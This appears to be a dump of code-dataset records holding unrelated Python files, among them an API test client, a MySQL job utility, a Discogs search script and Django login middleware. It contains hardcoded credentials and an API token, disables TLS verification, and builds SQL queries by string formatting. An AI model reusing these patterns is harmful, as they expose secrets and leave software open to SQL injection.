img.save(filename=output or '{}.png'.format(text))\n\n\nif __name__ == \"__main__\":\n placeholder_avatar(text=\"yo\", output=\"../output.png\")\n","sub_path":"placeholder_avatars/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"448030905","text":"import requests\nimport urllib3\nfrom Xcharger.HomePage.login import Login\nfrom common.logger import Log\n\n#禁用安全警告\nurllib3.disable_warnings()\n\nurl1 = 'http://xcloud.dev.xcharger.net/service/api/dealer'\n\nclass Dealer_Setting(Login):\n\n def __init__(self,s):\n self.s = s\n self.log = Log()\n def InvoiceSetting(self,minInvoiceBalanceWechat,Id='751340478032646144'):\n '''运营商设置里,发票设置,当minInvoiceBalanceWeChat为0表示不开启发票设置'''\n json_body = {\n 'id':Id,\n 'minInvoiceBalanceWechat':minInvoiceBalanceWechat\n }\n res = self.s.post(url1,json=json_body,verify=False)\n return res\n def RechargePanel(self,chargeKeyboardSetting,Id = '751340478032646144'):\n '''运营商设置里,充值面板设置,参数chargeKeyboardSetting为列表'''\n json_body = {\n 'id':Id,\n 'chargeKeyboardSetting':chargeKeyboardSetting\n }\n res = self.s.post(url1,json=json_body,verify=False)\n return res\n\n def WechatOARefundMode(self):\n '''微信公众号设置-设置退款方式\n refundMode参数值选项为1,2,3,分别是全自动,半自动,手动\n '''\n # 微信公众号设置用的不多,暂时将退款方式写到运营商设置里\n url = 'http://xcloud.dev.xcharger.net/service/api/wechatoa'\n json_body = {\n 'sourceId': 'gh_5a18ccb661bc',\n 'refundMode': 3\n }\n res = self.s.post(url,json=json_body,verify=False)\n return res\n\nif __name__ == '__main__':\n s = requests.session()\n dealersetting = Dealer_Setting(s)\n dealersetting.login('zhichong','xcharger88')\n res = dealersetting.WechatOARefundMode()\n print(res.json())","sub_path":"Xcharger/Setting/DealerSetting/dealer_setting.py","file_name":"dealer_setting.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"562214276","text":"import itertools\n\ndef solution(baseball):\n answer = 0\n\n allCase = list(map(list, itertools.permutations([1, 2, 3, 4, 5, 6, 7, 8, 9], 3)))\n\n print(len(allCase))\n\n for i in baseball:\n strike, ball, out = i[1], i[2], 3-i[1]-i[2]\n\n for j in allCase:\n comp_s, comp_b, comp_o = j\n \n return answer\n\nbase = [[123, 1, 1], [356, 1, 0], [327, 2, 0], [489, 0, 1]]\n\nsolution(base)","sub_path":"Level2/lv2_15.py","file_name":"lv2_15.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"77351197","text":"def BobbleSort(A):\r\n\tFlag = 0 # to optimize code if arry is sorted\r\n\tfor i in range(len(A)-1):\r\n\t\tFlag = 0 # without here declear Flag = 0,if in array any item swapped once\r\n\t\t# Flag will be 1 and it will never be 0\r\n\t\tfor j in range(len(A)-i-1):\r\n\t\t\tif A[j] > A[j+1]:\r\n\t\t\t\tA[j+1],A[j] = A[j],A[j+1]\r\n\t\t\t\tFlag = 1\r\n\t\tif Flag == 0:\r\n\t\t\tbreak\r\n\r\nA = [1,0,3,2,4]\r\nBobbleSort(A)\r\nprint(A)","sub_path":"python example/Sorting/Bubble_sort.py","file_name":"Bubble_sort.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"458859155","text":"# coding:utf-8\r\n\r\nimport json\r\nimport MySQLdb\r\nfrom conf import config\r\nimport sys\r\nfrom logutil import logger\r\n\r\nreload(sys)\r\nsys.setdefaultencoding('utf-8')\r\n\r\nclass MysqlUtil(object):\r\n\r\n def __init__(self):\r\n self.log = logger.log()\r\n\r\n def getConn(self):\r\n mysqlhost, mysqlport, mysqluser, mysqlpw, mysqldb=(config.mysql_host, 3306, config.mysql_user, config.mysql_pw, config.mysql_db)\r\n conn = MySQLdb.connect(host=mysqlhost, port=mysqlport, user=mysqluser, passwd=mysqlpw, db=mysqldb, charset='utf8')\r\n return conn, conn.cursor()\r\n\r\n def checkJob(self, jobname):\r\n sql = \"select count(*) from report_data_job_consanguinity where resource = '%s'\" % jobname\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n count = cursor.fetchone()[0]\r\n if count == 0:\r\n return {\"comm\": \"该job,不存在子节点\", \"code\": 300}\r\n return {\"code\": 200}\r\n except Exception as e:\r\n self.log.error(\"mysql操作检查初始job异常: \" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql异常连接,请看日志\", \"code\": 300}\r\n\r\n def fetchDepend(self, jobname):\r\n sql = \"select target from report_data_job_consanguinity where resource = '%s'\" % jobname\r\n conn = None\r\n jobs = []\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n datas = cursor.fetchall()\r\n for data in datas:\r\n jobs.append(data[0])\r\n conn.close()\r\n return {\"code\": 200, \"jobs\": jobs}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作fetchDepend获取依赖异常:\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def writeDepend(self, arrs):\r\n sql = \"insert into report_auto_job_depend (histid, project_job, depend_project_job) values (%s, %s, %s)\"\r\n conn = None\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.executemany(sql, arrs)\r\n conn.commit()\r\n conn.close()\r\n return {\"code\": 200, \"comm\": \"success\"}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作writeDepend写入任务依赖异常:\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def insertHistory(self, histid, time, jobtime, startjob, job_status):\r\n sql = \"insert into report_auto_job_history (histid, start_time, jobtime, start_project_job, job_status) values ('%s', '%s', '%s', '%s', '%s')\" % (histid, time, jobtime, startjob, job_status)\r\n conn = None\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n conn.close()\r\n return {\"code\": 200, \"comm\": \"success\"}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作insertHistory写入任务记录异常:\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def insertStatus(self, arrs):\r\n sql = \"insert into report_auto_job_status (histid, project_job, execid, runstatus, killflag) values (%s, %s, %s, %s, %s)\"\r\n conn = None\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.executemany(sql, arrs)\r\n conn.commit()\r\n conn.close()\r\n return {\"code\": 200, \"comm\": \"success\"}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作insertStatus写入任务状态异常:\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def fetchJobDepend(self, histid, jobname):\r\n sql = \"select depend_project_job from report_auto_job_depend where project_job = '%s' and histid = '%s'\" % (jobname, histid)\r\n conn = None\r\n jobs = []\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n datas = cursor.fetchall()\r\n for data in datas:\r\n jobs.append(data[0])\r\n conn.close()\r\n return {\"code\": 200, \"jobs\": jobs}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作fetchJobDepend获取依赖异常:\" + jobname + \"\\n\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def fetchDependStatus(self, histid, jobname):\r\n sql = \"select runstatus from ((select project_job, runstatus from report_auto_job_status where histid = '%s') a join (select project_job from report_auto_job_depend where depend_project_job = '%s' and histid = '%s') b on a.project_job=b.project_job)\" % (histid, jobname, histid)\r\n conn = None\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n datas = cursor.fetchall()\r\n conn.close()\r\n return {\"code\": 200, \"datas\": datas}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作fetchDependStatus获取依赖状态异常:\" + jobname + \"\\n\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def getKillFlag(self, histid, jobname):\r\n sql = \"select killflag from report_auto_job_status where histid = '%s' and project_job = '%s'\" % (histid, jobname)\r\n conn = None\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n data = cursor.fetchone()\r\n conn.close()\r\n return {\"code\": 200, \"data\": data}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作getKillFlag获取kill状态异常:\" + jobname + \"\\n\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def updateJobStatus(self, histid, jobname, status):\r\n sql = \"update report_auto_job_status set runstatus = '%s' where histid = '%s' and project_job = '%s'\" % (status, histid, jobname)\r\n conn = None\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n conn.close()\r\n return {\"code\": 200, \"comm\": \"success\"}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作updateJobStatus更新状态异常:\" + jobname + \"\\n\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def updateJobExecid(self, histid, jobname, execid):\r\n sql = \"update report_auto_job_status set execid = %s where histid = '%s' and project_job = '%s'\" % (execid, histid, jobname)\r\n conn = None\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n conn.close()\r\n return {\"code\": 200, \"comm\": \"success\"}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作updateJobExecid更新execid异常:\" + jobname + \"\\n\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def monitorStatus(self, histid):\r\n sql = \"select runstatus from report_auto_job_status where histid = '%s'\" % histid\r\n conn = None\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n datas = cursor.fetchall()\r\n conn.close()\r\n return {\"code\": 200, \"datas\": datas}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作monitorStatus监控状态异常:\" + histid + \"\\n\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def updateHistory(self, histid, out):\r\n sql = \"update report_auto_job_history set job_status = '%s' where histid = '%s'\" % (out, histid)\r\n conn = None\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n conn.close()\r\n return {\"code\": 200, \"comm\": \"success\"}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作updateHistory更新job_status异常:\" + histid + \"\\n\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def insertSourceTable(self):\r\n delSql = \"delete from report_data_job_consanguinity\"\r\n sql = \"\"\" insert into report_data_job_consanguinity (resource, target, consanguinity, update_time) \r\n SELECT \r\n CONCAT(source.project_name,'~',source.flow_name,'~',source.job_name) as resource,\r\n CONCAT(target.project_name,'~',target.flow_name,'~',target.job_name) as target,\r\n CONCAT(target.database_name,'.',target.table_name) as consanguinity,\r\n now() as update_time\r\n FROM\r\n report_azkaban_monite_conf source,\r\n report_azkaban_table_project_dependency_conf target\r\n WHERE\r\n source.database_name = target.database_name\r\n AND source.table_name = target.table_name\r\n AND source.recent_create_time>date_sub(curdate(),interval 2 day)\r\n AND target.update_time>date_sub(curdate(),interval 2 day) \"\"\"\r\n conn = None\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(delSql)\r\n cursor.execute(sql)\r\n conn.commit()\r\n conn.close()\r\n return {\"code\": 200, \"comm\": \"success\"}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作insertSourceTable更新job_status异常:\" + \"\\n\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}\r\n\r\n def checkHistId(self, histid):\r\n sql = \"select count(*) from report_auto_job_status where histid = '%s'\" % histid\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n count = cursor.fetchone()[0]\r\n if count == 0:\r\n return {\"comm\": \"该histid任务,不存在\", \"code\": 300}\r\n return {\"code\": 200}\r\n except Exception as e:\r\n self.log.error(\"mysql操作checkHistId异常: \" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql异常连接,请看日志\", \"code\": 300}\r\n\r\n def updateKillFlag(self, histid):\r\n sql = \"update report_auto_job_status set killflag = '1' where histid = '%s'\" % histid\r\n conn = None\r\n try:\r\n conn, cursor = self.getConn()\r\n cursor.execute(sql)\r\n conn.commit()\r\n conn.close()\r\n return {\"code\": 200, \"comm\": \"success\"}\r\n except Exception as e:\r\n if conn is not None:\r\n conn.close()\r\n self.log.error(\"mysql操作updateKillFlag更新状态异常, histid:\" + histid + \"\\n\" + str(e), exc_info=True)\r\n return {\"comm\": \"mysql操作异常,请看日志\", \"code\": 300}","sub_path":"util/mysqlutil.py","file_name":"mysqlutil.py","file_ext":"py","file_size_in_byte":12192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"333309024","text":"from copy import copy, deepcopy\nimport re\n\n\nclass Group:\n def __init__(self, army, units, hp, immunity, weakness, dmg, dmgType, \\\n initiative):\n self.army = army\n self.units = units\n self.hp = hp\n self.immunity = immunity\n self.weakness = weakness\n self.dmg = dmg\n self.dmgType = dmgType\n self.initiative = initiative\n self.target = -1\n\n\n def power(self):\n return self.units * self.dmg\n\n\n def toDealDmg(self, defender):\n if self.units <= 0 or self.dmgType in defender.immunity:\n return 0\n\n dmg = self.power()\n if self.dmgType in defender.weakness:\n dmg *= 2\n\n return dmg\n\n\n def takeDmg(self, attacker):\n dmg = attacker.toDealDmg(self)\n unitsLost = dmg // self.hp\n if unitsLost == 0:\n return False\n else:\n self.units -= unitsLost\n return True\n \n\n\ndef main():\n\n data = readFiles()\n\n immune, infect = extractArmies(data)\n\n printArmy(immune, 'Immune System')\n printArmy(infect, 'Infection')\n\n winner = runSims(immune, infect)\n\n unitsLeft = calcUnitsLeft(winner)\n\n print(unitsLeft)\n\n\ndef calcUnitsLeft(winner):\n return sum(map(lambda d: d.units, winner))\n\n\ndef runSims(immune, infect):\n \n numBoost = 1\n while True:\n\n print(numBoost)\n immuneCopy = deepcopy(immune)\n infectCopy = deepcopy(infect)\n boost(immuneCopy, numBoost)\n draw = False\n\n while immuneCopy and infectCopy:\n immuneCopy.sort(key=lambda d: (d.power(), d.initiative), reverse=True)\n infectCopy.sort(key=lambda d: (d.power(), d.initiative), reverse=True)\n\n selectTarget(infectCopy, immuneCopy)\n selectTarget(immuneCopy, infectCopy)\n\n draw = isDraw(immuneCopy, infectCopy)\n\n if draw:\n break\n\n draw = attacking(immuneCopy, infectCopy)\n\n if draw:\n break\n\n immuneCopy = list(filter(lambda d: d.units > 0, immuneCopy))\n infectCopy = list(filter(lambda d: d.units > 0, infectCopy))\n\n if draw:\n print(numBoost, \"Draw\")\n numBoost += 1\n continue\n\n if immuneCopy:\n return immuneCopy\n else:\n numBoost += 1\n\n\ndef boost(immune, numBoost):\n for group in immune:\n group.dmg += numBoost\n\n\ndef isDraw(immune, infect):\n immune = [d for d in immune if d.target != -1]\n infect = [d for d in infect if d.target != -1]\n #print(immune, infect)\n #for i in immune:\n # print(i.target)\n #for i in infect:\n # print(i.target)\n\n if not immune and not infect:\n return True\n\n return False\n\n\ndef selectTarget(attackers, defenders):\n defenders = copy(defenders)\n chosen = set()\n for attacker in attackers:\n\n dmgs = {}\n maxDmg = 0\n\n # Calculate damage to take for each defender\n for idx, defender in enumerate(defenders):\n if idx not in chosen:\n dmgs[idx] = attacker.toDealDmg(defender)\n\n if dmgs:\n maxDmg = max(dmgs.values())\n\n # If unable to deal damage, choose no target\n if maxDmg == 0:\n attacker.target = -1\n continue\n\n # Get available candidate, sort by effective power and initiative\n cands = { k: defenders[k] for k, v in dmgs.items() if v == maxDmg }\n cands = [ cand for cand in cands.items() ]\n cands.sort(key=lambda d: (d[1].power(), d[1].initiative), \\\n reverse=True)\n\n # Assign a target for attacker\n if cands:\n attacker.target = cands[0][0]\n chosen.add(cands[0][0])\n\n else:\n attacker.target = -1\n\n\ndef attacking(immune, infect):\n groups = immune + infect\n groups.sort(key=lambda d: d.initiative, reverse=True)\n\n draw = True\n for group in groups:\n if group.army == 'immune':\n tookDmg = attack(group, infect)\n else:\n tookDmg = attack(group, immune)\n\n if tookDmg:\n draw = False\n\n return draw\n\n\ndef attack(attacker, defenders):\n if attacker.target == -1:\n return\n\n defender = defenders[attacker.target]\n tookDmg = defender.takeDmg(attacker)\n return tookDmg\n\n\n\"\"\"\nTwo armies: immune system, infection\nEach army has multiple groups\ngroup: unit, hp, immunity, weakness, dmg, dmg type, initiative\n\nfight consists of 2 phases: target selection and attacking\nEffective Power = unit * damage\nTarget Selection:\n attacker\n in order of: \n decreasing order of effective power, higher initiative\n choose defender in order of:\n group it would deal most damage, largest effective power, highest initiative\n If it cannot deal damage to any gorups, it does not select a target\n Once the defender selected, remove it from list, \n attacker select 0 or 1 defender, \n defenders can get attacked by 0 or 1 attacker\n\nAttack:\n in order of attacker initiative\n deal damage equal to effective power, if immune no dmg, if weak deal double dmg\n Defending group only loses whole unit from dmg\n\nCombat only ends once army lost all units\n\n\"\"\"\ndef printArmy(army, title):\n print(title)\n for d in army:\n print(d.__dict__)\n print()\n\n\ndef extractArmies(data):\n data = data.split('\\n')\n splitIdx = data.index('')\n immuneData = data[1: splitIdx]\n infectData = data[splitIdx + 2: -1]\n\n pattern = re.compile(r'(?P\\d+) units each with (?P\\d+) hit points ?'\n r'(?P.*) with an attack that does (?P.*) damage at '\n r'initiative (?P\\d+)')\n \n # Fill each army with groups of units\n immune, infect = [], []\n for d in immuneData:\n m = pattern.match(d).groupdict()\n immune.append(createGroup(m, 'immune'))\n\n for d in infectData:\n m = pattern.match(d).groupdict()\n infect.append(createGroup(m, 'infect'))\n\n return immune, infect\n\n\ndef createGroup(m, army):\n units = int(m['units'])\n hp = int(m['hp'])\n props = m['props']\n attack = m['attack']\n initiative = int(m['initiative'])\n\n # Extract dmg and dmgType\n pattern = re.compile(r'(?P\\d+) (?P.*)')\n attack = pattern.match(attack).groupdict()\n dmg = int(attack['dmg'])\n dmgType = attack['dmgType']\n\n # Extract immunity and weakness\n props = props[1: -1].split('; ')\n immunity, weakness = [], []\n\n for prop in props:\n if prop.find('immune') != -1:\n pattern = re.compile(r'immune to (.*)')\n immunity = pattern.match(prop).groups()[0].replace(' ', '').split(',')\n if prop.find('weak') != -1:\n pattern = re.compile(r'weak to (?P.*)')\n weakness = pattern.match(prop).groups()[0].replace(' ', '').split(',')\n\n return Group(army, units, hp, immunity, weakness, dmg, dmgType, initiative)\n\n\ndef readFiles():\n file = open('input.txt', 'r')\n data = file.read()\n file.close()\n return data\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"day24/q2.py","file_name":"q2.py","file_ext":"py","file_size_in_byte":7139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"467150472","text":"import requests\nimport json\nimport time\nimport sys\n\ndef albumSearch(userInput):\n #THE FIRST TASK IS TO KNOW THE TOTAL NUMBER OF PAGES AND ITEMS FOUND\n initAns = requests.get('https://api.discogs.com/database/search?artist=' + userInput + '&token=KtehgpFdeuBMDRZZvmFDSZWtJCMpAthaUdUKmLmV')\n initDict = json.loads(initAns.text)\n numPages = initDict['pagination']['pages']\n if numPages >= 100:\n print('\\nTHE NUMBER OF POSSIBILITIES IS HIGHER THAN 5,000 AND THE CODE IS UNABLE TO CONTINUE, PLEASE TRY AGAIN WITH A MORE DESCRIPTIVE SEARCH')\n sys.exit()\n numItems = initDict['pagination']['items']\n '''\n >newDict is a Dictionary that saves every album with a unique master ID, along with its title, master URL and year\n if existing.\n >albCount is an integet that will be incremented by one everytime a new album is found.\n >masterList will keep a list of unique master IDs.\n >itemsToGo will be used to know when to stop searching\n '''\n newDict = {}\n albCount = 0\n masterList = []\n itemsToGo = numItems\n # We need to search each page individually, each one will give us a new list of 50 albums to play with\n for x in range(numPages):\n # THE API HAS A LIMITATION WITH THE NUMBER OF REQUESTS YOU CAN MAKE\n # THIS FORCES ME TO PUT A DELAY BEFORE EACH GET REQUEST\n time.sleep(0.5)\n initAns = requests.get('https://api.discogs.com/database/search?artist=' + userInput + '&token=KtehgpFdeuBMDRZZvmFDSZWtJCMpAthaUdUKmLmV&page=' + str(x+1))\n initDict = json.loads(initAns.text)\n #If there is only one page, then there are only 50 albums or less, so the for loop has to stop at \"itemsToGo\"\n if itemsToGo <= 50:\n #JUST TO SEARCH FOR BUGS, PRINT THE PAGE NUMBER RIGHT BEFORE THE ERROR:\n #print('Page ' + str(x+1))\n for y in range(itemsToGo):\n #Here we only add an album, title, master_id and year if the master_id exists, if it is higher than ZERO,\n #different than \"NONE\" and it has not been added yet to the masterList\n \n #JUST TO SEARCH FOR BUGS, PRINT THE ITEM NUMBER RIGHT BEFORE THE ERROR:\n #print('item ' + str(y+1))\n if (('master_id' in initDict['results'][y].keys()) and (initDict['results'][y]['master_id'] != None) \n and (initDict['results'][y]['master_id'] not in masterList) and (initDict['results'][y]['master_id'] > 0)):\n #Let's add the master ID number to the master list and increament albCount by one\n masterList.append(initDict['results'][y]['master_id'])\n albCount = albCount + 1\n #Finally we create the Album object, and its value is a nested Dictionary with a title, year and masterID\n #Sometimes the year is not included as a key:value pair, in that case, save it as \"Unknown Year\"\n newDict.setdefault('Album ' + str(albCount), {})\n newDict['Album ' + str(albCount)].setdefault('title',initDict['results'][y]['title'])\n if 'year' not in initDict['results'][y].keys(): \n newDict['Album ' + str(albCount)].setdefault('year','Unknown Year')\n if 'year' in initDict['results'][y].keys():\n newDict['Album ' + str(albCount)].setdefault('year',initDict['results'][y]['year'])\n newDict['Album ' + str(albCount)].setdefault('master_id',initDict['results'][y]['master_id'])\n #Let's also save the master_URL so it can be used later to get the tracklist\n newDict['Album ' + str(albCount)].setdefault('master_url',initDict['results'][y]['master_url'])\n #Now let's do the same but when the number of items are higher than 50. In that case, we know there is a new page coming next\n #So the only difference is that the loop goes up to range(50) and then itemsToGo is decreased by 50 for the next iteration\n if itemsToGo > 50:\n #JUST TO SEARCH FOR BUGS, PRINT THE PAGE NUMBER RIGHT BEFORE THE ERROR:\n #print('Page ' + str(x+1))\n for y in range(50):\n #JUST TO SEARCH FOR BUGS, PRINT THE ITEM NUMBER RIGHT BEFORE THE ERROR:\n #print('item ' + str(y+1))\n\n # A BUG WAS FOUND IN THE API: ONE OR MORE NON-LAST PAGES DO NOT HAVE 50 ITEMS BUT LESS, SO WHEN GETTING INTO THE 50th \n # ITERATION THE LIST-INDEX RETURNS AN ERROR, THE TRY AND EXCEPT HERE BELOW ARE USED TO FIX THAT. \n # THIS WAS FOUND ON THE SEARCH FOR STRING \"STARS\" ON PAGE 23 (ONLY 49 ALBUMS LISTED)\n try:\n if (('master_id' in initDict['results'][y].keys()) and (initDict['results'][y]['master_id'] != None) and \n (initDict['results'][y]['master_id'] not in masterList) and (initDict['results'][y]['master_id'] > 0)):\n masterList.append(initDict['results'][y]['master_id'])\n albCount = albCount + 1\n newDict.setdefault('Album ' + str(albCount), {})\n newDict['Album ' + str(albCount)].setdefault('title',initDict['results'][y]['title'])\n if 'year' not in initDict['results'][y].keys(): \n newDict['Album ' + str(albCount)].setdefault('year','Unknown Year')\n if 'year' in initDict['results'][y].keys():\n newDict['Album ' + str(albCount)].setdefault('year',initDict['results'][y]['year'])\n newDict['Album ' + str(albCount)].setdefault('master_id',initDict['results'][y]['master_id'])\n newDict['Album ' + str(albCount)].setdefault('master_url',initDict['results'][y]['master_url'])\n except IndexError:\n continue\n itemsToGo = itemsToGo - 50 \n \n #Now let's print the results and return the newDict Dictionary\n print(str(albCount) + ' Albums Found')\n\n for k, v in newDict.items():\n print('\\n' + k + ': ')\n print(v.get('title', 'error'))\n print('(' + v.get('year', 'error') + ')')\n print(v.get('master_id', 'error'))\n\n return newDict\n\n#albumSearch('')","sub_path":"Music Search/artistAlbSearch.py","file_name":"artistAlbSearch.py","file_ext":"py","file_size_in_byte":6336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"275441042","text":"\"\"\"\nBased on https://djangosnippets.org/snippets/1179/\n\"\"\"\nfrom re import compile\n\nfrom django.conf import settings as django_settings\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect\n\nfrom .config import settings\nfrom .util import get_adfs_auth_url\n\ntry:\n from django.utils.deprecation import MiddlewareMixin\nexcept ImportError: # Django < 1.10\n MiddlewareMixin = object\n\nLOGIN_EXEMPT_URLS = [\n compile(django_settings.LOGIN_URL.lstrip('/')),\n compile(reverse(\"auth_adfs:login\").lstrip('/')),\n]\nif hasattr(settings, 'LOGIN_EXEMPT_URLS'):\n LOGIN_EXEMPT_URLS += [compile(expr) for expr in settings.LOGIN_EXEMPT_URLS]\n\n\nclass LoginRequiredMiddleware(MiddlewareMixin):\n \"\"\"\n Middleware that requires a user to be authenticated to view any page other\n than LOGIN_URL. Exemptions to this requirement can optionally be specified\n in settings via a list of regular expressions in LOGIN_EXEMPT_URLS (which\n you can copy from your urls.py).\n\n Requires authentication middleware and template context processors to be\n loaded. You'll get an error if they aren't.\n \"\"\"\n def process_request(self, request):\n assert hasattr(request, 'user'), \"The Login Required middleware requires\" \\\n \" authentication middleware to be installed.\" \\\n \" Edit your MIDDLEWARE setting to insert\" \\\n \" 'django.contrib.auth.middlware.AuthenticationMiddleware'.\" \\\n \" If that doesn't work, ensure your TEMPLATE_CONTEXT_PROCESSORS\" \\\n \" setting includes 'django.core.context_processors.auth'.\"\n\n if not request.user.is_authenticated():\n path = request.path_info.lstrip('/')\n if not any(m.match(path) for m in LOGIN_EXEMPT_URLS):\n return HttpResponseRedirect(get_adfs_auth_url())\n","sub_path":"django_auth_adfs/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"420528168","text":"n=input(\"enter number:\")\nif 1<=n<=100:\n print(\"well done\" + \"the number\" + str(n) + \"satisfies the condition\")\nelse:\n while (1<=n<=100) != True:\n print (\"error\")\n n=input(\"type a number between one to hundred:\")\n else:\n print(\"thank goodness!\")\n\n\n","sub_path":"Practise/num1.py","file_name":"num1.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"3909150","text":"import curses\nfrom windows.window import Window\n\n\nclass BufferWin(Window):\n def __init__(self, lines, cols, begin_y, begin_x, parent):\n super().__init__(lines, cols, begin_y, begin_x, parent)\n self.x = 0\n self.y = 0\n self.document = self.parent.document\n self.controller = self.parent.controller\n self.actions = {\n 8: self.onBackspace,\n curses.KEY_BACKSPACE: self.onBackspace,\n 10: self.onEnter,\n curses.KEY_ENTER: self.onEnter,\n curses.KEY_LEFT: self.onLeft,\n curses.KEY_RIGHT: self.onRight,\n curses.KEY_DOWN: self.onDown,\n curses.KEY_UP: self.onUp,\n 27: self.onEscape\n }\n self.offset = 0\n\n def render(self):\n height = self.scr.getmaxyx()[0]\n limit = min(self.document.countLines(), height)\n for i in range(0, limit):\n self.scr.move(i, 0)\n self.scr.addstr(self.document.getLines()[i + self.offset])\n self.scr.move(self.y, self.x)\n self.scr.cursyncup()\n\n def getLine(self):\n return self.y + self.offset\n\n def getCol(self):\n return self.x\n\n def handleInput(self, c):\n key = chr(c)\n if c in self.actions.keys():\n self.actions[c]()\n else:\n self.controller.insert(self.getLine(), self.getCol(), key)\n self.x += 1\n self.scr.move(self.y, self.x)\n\n def onEscape(self):\n self.parent.activeWindow = self.parent.statusWin\n self.parent.statusWin.setStatus(\"Default mode\")\n\n def onLeft(self):\n if self.x - 1 >= 0:\n self.x -= 1\n\n def onRight(self):\n line_length = len(self.document.getLines()[self.getLine()])\n if self.x + 1 <= line_length + 1:\n self.x += 1\n\n def onUp(self):\n if self.y - 1 < 0:\n if self.getLine() - 1 < 0:\n return\n self.offset -= 1\n line_above_ind = self.getLine() - 1\n if line_above_ind >= 0:\n line_length = len(self.document.getLines()[line_above_ind])\n self.x = line_length\n if self.y - 1 >= 0:\n self.y -= 1\n\n def onDown(self):\n if (self.y + 1) >= self.document.countLines():\n return\n height = self.scr.getmaxyx()[0]\n if (self.y + 1) >= height:\n if self.getLine() + 1 >= self.document.countLines():\n return\n self.offset += 1\n else:\n self.y += 1\n self.x = 0\n line_below_ind = self.getLine() + 1\n if line_below_ind <= self.document.countLines():\n line_length = len(self.document.getLines()[line_below_ind - 1])\n self.x = line_length\n\n def onEnter(self):\n height = self.scr.getmaxyx()[0]\n self.controller.insertNewLine(self.getLine(), self.getCol())\n if (self.y + 1) >= height:\n self.offset += 1\n else:\n self.y += 1\n self.x = 0\n\n def 